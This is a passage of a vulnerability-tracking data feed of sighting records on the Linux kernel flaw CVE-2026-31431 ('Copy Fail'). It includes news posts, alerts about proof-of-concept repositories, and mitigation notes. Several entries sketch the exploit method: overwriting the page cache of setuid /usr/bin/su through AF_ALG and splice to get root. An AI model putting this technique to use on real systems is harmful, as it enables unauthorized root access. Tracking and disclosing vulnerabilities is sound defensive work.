"creation_timestamp": "2026-05-01T12:05:45.000000Z"}, {"uuid": "d43116be-edd7-4848-aa46-73efc3c95df4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/dglauche/748bef24e5bc35789c8906333804f567", "content": "", "creation_timestamp": "2026-05-01T12:05:10.000000Z"}, {"uuid": "3b0ce899-b940-4a86-b120-b9c0a04d307c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/Carbon16/0e68c4df0e4c7f9c8bbe89d6c69d577c", "content": "", "creation_timestamp": "2026-05-01T11:48:56.000000Z"}, {"uuid": "6e599f43-d0fa-4445-8c95-3b05d0cc4cbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mks4ex5hqoo2", "content": "Linux distributions worldwide targeted by the Copy Fail exploit An exploit for the \u201cCopy Fail\u201d security vulnerability (CVE-2026-31431) in the Linux kernel has been made public. The vulnerabilit...\n\n#Security #Copy #Fail #CVE-2026-31431 #Dirty #Pipe #Linux #linux [\u2026] \n\n[Original post on techzine.eu]", "creation_timestamp": "2026-05-01T12:19:02.782829Z"}, {"uuid": "77a1f247-0b46-4f5c-9321-7786b0eb40f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/arnoldmelm.bsky.social/post/3mks544kkz224", "content": "Eine neu entdeckte #Linux-Sicherheitsl\u00fccke namens #CopyFail (CVE-2026-31431) sorgt f\u00fcr Besorgnis. Ein Fehler im Linux-Kernel, der seit 2017 unentdeckt ist, erm\u00f6glicht es normalen Benutzern, mit einem winzigen Skript vollen Root-Zugriff zu erlangen. \n#Linux\nyoutu.be/_bckyC6w9f4?...", "creation_timestamp": "2026-05-01T12:31:56.020253Z"}, {"uuid": "4033bd31-eae7-4fd9-9bb8-6bda5ca284d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/cybercod.bsky.social/post/3mks5jmwj2f2l", "content": "Solid fix for CVE-2026-31431! Blacklisting `algif_aead` via kernel arg with Ansible is a clean, idempotent approach. Great use of Linux fundamentals!", "creation_timestamp": "2026-05-01T12:39:29.340002Z"}, {"uuid": "487be742-be41-491d-991a-e29f12ebda2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82318", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Linux-CopyFail-C-Version-CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a beatbeast007\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-01 11:54:38\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nClean C version of Copy Fail (CVE-2026-31431) - Linux Local Privilege Escalation exploit using AF_ALG + authencesn + splice primitive.  Overwrites the page cache of /usr/bin/su with a tiny setuid shellcode to gain root privileges.  Educational proof-of-concept only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-01T12:00:03.000000Z"}, {"uuid": "aa0a3593-4b16-46b5-b4a5-8b2ce1cab454", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82350", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ExploitEoom\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-01 15:59:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCopyFail\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-01T16:00:05.000000Z"}, {"uuid": "481b3865-676e-48df-82b5-dc9067e1e4c1", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/ff00c791-06de-48b9-8f44-1f3913c1dae2", "content": "", "creation_timestamp": "2026-05-01T19:00:01.704647Z"}, {"uuid": "8be76965-8589-4856-8ca4-b0eeaa6b9493", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82365", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-deconstructed\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a bootsareme\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-01 18:59:25\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nEasy-to-understand version of CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-01T19:00:04.000000Z"}, {"uuid": "eac8fa66-e71d-4d52-a60d-03f2ef436e0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82385", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a block-copyfail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a atgreen\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Common Lisp\n\u2b50 Star\u6570\u91cf\uff1a 2  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-01 23:58:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nBPF LSM blocker for CVE-2026-31431 (Copy Fail) \u2014 blocks authencesn AF_ALG binds at runtime without rebooting\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-02T00:00:04.000000Z"}, {"uuid": "5003280b-5beb-44b8-8ab6-139c8c6b4f1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/82504", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Gr-1m\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-02 15:54:28\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCopyfail (CVE-2026-31431) exp rewrite by Golang\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-02T16:00:04.000000Z"}, {"uuid": "9516581a-be33-46dd-b6a7-1de1905e828e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/gabywald.bsky.social/post/3ml3qvmebu22r", "content": "\"Copy Fail (CVE-2026-31431) : Synth\u00e8se technique sur cette faille Linux\"\n\n#Faille #Linux #CopyFail #Explications #Correctifs ... \n\nwww.linuxtricks.fr/news/10-logi...", "creation_timestamp": "2026-05-05T08:20:10.711124Z"}, {"uuid": "9c75d540-4bdb-46d7-bd73-3b9557dfc55e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/ctinow/249657", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV\nhttps://ift.tt/tRdwIxP", "creation_timestamp": "2026-05-03T06:54:28.000000Z"}, {"uuid": "d1ad4413-08de-4c2e-9354-32ded7911b46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mkymuhf3uq2z", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 481 interactions\nCVE-2026-41940: 74 interactions\nCVE-2026-3854: 57 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-31431: 26 interactions\nCVE-2026-41940: 6 interactions\nCVE-2026-5404: 4 interactions\n", "creation_timestamp": "2026-05-04T02:29:57.308285Z"}, {"uuid": "938e4195-244c-44c6-9ed1-e726e74ed076", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82582", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a attaattaatta\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-03 05:59:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 golang hotfix\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-03T06:00:04.000000Z"}, {"uuid": "017a5007-f9a8-4df3-bce2-032f677749d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://thehackernews.com/2026/05/cisa-adds-actively-exploited-linux-root.html", "content": "", "creation_timestamp": "2026-05-03T04:26:00.000000Z"}, {"uuid": "0af7439c-0e8d-4462-9db0-553362622501", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82473", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfailRecurrence\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 2H-K\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-02 10:54:35\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCopy Fail (CVE-2026-31431) \u5185\u6838\u6f0f\u6d1e\u590d\u73b0\u73af\u5883\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-02T11:00:04.000000Z"}, {"uuid": "4ad53413-b3eb-4304-b655-1815202c703a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/thehackernews/8904", "content": "\u26a0\ufe0f A new #Linux flaw mirrors Dirty Pipe\u2014but adds cross-container impact.\n\n\u201cCopy Fail\u201d (CVE-2026-31431) lets any local user overwrite cached system files and run them as root. No race condition.\n\nWorks across major Linux distros since 2017.\n\n\ud83d\udd17 Read \u2192 https://thehackernews.com/2026/04/new-linux-copy-fail-vulnerability.html", "creation_timestamp": "2026-04-30T09:55:15.000000Z"}, {"uuid": "03a5938d-0d0c-41d9-9f7f-328ddb074a21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/DgINMEwO-LQCHpIR5171X13X7Q7hKGhih-uOGzbTljCnFG0", "content": "", "creation_timestamp": "2026-05-01T03:00:14.000000Z"}, {"uuid": "936b295f-c66b-47b7-ad5a-05cd573ce728", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/evdmPyDv_38pRllzy8Ta91lWQAIqoLwW5wEChicmrjO_C0k", "content": "", "creation_timestamp": "2026-05-01T07:00:13.000000Z"}, {"uuid": "87ad578d-015c-4c7c-b34d-a8e09faef9ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/rYfhm_004exykZ8do5dalE7YB53CRVnjuhduYoE7gKkXMgc", "content": "", "creation_timestamp": "2026-05-01T09:00:04.000000Z"}, {"uuid": "3a9778bb-c5e3-44b1-8458-ea67c1a750d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/P45NJHmymloXtZI_QDhqedqg_rJijkJmCthR1UJzeSteIHM", "content": "", "creation_timestamp": "2026-04-30T23:00:10.000000Z"}, {"uuid": "5d1f76d1-95cc-4bea-829a-fae2e663a797", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/k5OTU-9lUzFKUTq8zqq2Ea-jY-aJMqpZsl5nZtaT5jx_Wu8", "content": "", "creation_timestamp": "2026-04-30T15:00:27.000000Z"}, {"uuid": "4bbbf6b1-fcab-4720-b070-a8fd0480fbff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/ilj7-w0C4NWXTAZYwiTR68v2Cg46brLVMoWECZr8IZK8Y9I", "content": "", "creation_timestamp": "2026-04-30T19:00:12.000000Z"}, {"uuid": "eb7831bd-4650-4e3a-ae15-c18660424314", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/yjUnQ6hKYXBxzaCr4Cr42UE0MHqi1VzU3UchLcz_NxtZwAY", "content": "", "creation_timestamp": "2026-04-30T09:00:04.000000Z"}, {"uuid": "6f10cab0-ca90-4e7b-908d-4f1e1c6796dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/ffbBuRmdSYe3lYPKfhQOupnrAX2e3gYPd5TMJ-uBERknFqY", "content": "", "creation_timestamp": "2026-04-30T11:00:14.000000Z"}, {"uuid": "a80de7b2-02c4-4be5-b658-17dbd67e7477", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/3tKSA63ykFsNCx7Ci_YM-GlAoFttSrYjQJCM_fsQcGoJpDo", "content": "", "creation_timestamp": "2026-04-30T15:00:06.000000Z"}, {"uuid": "9cac66a0-3dc7-4986-83ab-44dd3b4ed3ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82432", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a xd20111\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-02 05:57:47\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431  Copy Fail - Local Privilege Escalation in the Linux kernel's authencesn cryptographic template via AF_ALG + splice()\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-02T06:00:03.000000Z"}, {"uuid": "feb3f3ce-0015-4fb4-b23f-74f8c2678219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/P5bUU6aFVi3_TImC6WDx24HeHf8RVUggO7fw0-2Q4WCtYm0", "content": "", "creation_timestamp": "2026-04-30T07:00:11.000000Z"}, {"uuid": "b3f63efb-faa5-42d5-b5f1-0f41c1eb63f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/true_secator/8160", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 LPE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Linux, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root.\n\n\u041e\u043d\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-31431 (CVSS: 7,8 \u0438 \u0431\u044b\u043b\u0430 \u043d\u0430\u0437\u0432\u0430\u043d\u0430 Xint.io \u0438 Theori - Copy Fail. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0431\u0430\u0439\u0442\u0430 \u0432 \u043a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u043b\u044e\u0431\u043e\u0433\u043e \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f root.\n\n\u0424\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 \u0432 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u044f\u0434\u0440\u0430 Linux, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 algif_aead. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043e\u0442 \u0430\u0432\u0433\u0443\u0441\u0442\u0430 2017 \u0433\u043e\u0434\u0430.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u043e\u0441\u0442\u043e\u043c\u0443 \u0441\u043a\u0440\u0438\u043f\u0442\u0443 \u043d\u0430 Python \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 732 \u0431\u0430\u0439\u0442\u0430 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u0441 \u0444\u043b\u0430\u0433\u043e\u043c setuid \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u043e \u0432\u0441\u0435\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445 Linux, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u0441 2017 \u0433\u043e\u0434\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Amazon Linux, RHEL, SUSE \u0438 Ubuntu. \n\n\u0421\u0430\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043d\u0430 Python \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0441\u043e\u043a\u0435\u0442 AF_ALG \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 \u0441 authencesn(hmac(sha256),cbc(aes)) \u043f\u0443\u0442\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043a\u044d\u0448\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043a\u043e\u043f\u0438\u0438 \u044f\u0434\u0440\u0430 /usr/bin/su \u0438 \u0432\u044b\u0437\u043e\u0432\u0430 execve(\"/usr/bin/su\") \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0435\u0433\u043e \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0441\u0430\u043c\u0430 \u043f\u043e \u0441\u0435\u0431\u0435 \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u043f\u0440\u0430\u0432\u0430, \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u043e\u0432\u0440\u0435\u0434\u0438\u0432 \u043a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0441 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0444\u043b\u0430\u0433\u043e\u043c setuid.\n\n\u042d\u0442\u0430 \u0436\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0434\u043b\u044f \u0434\u0440\u0443\u0433\u0438\u0445 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043a\u044d\u0448 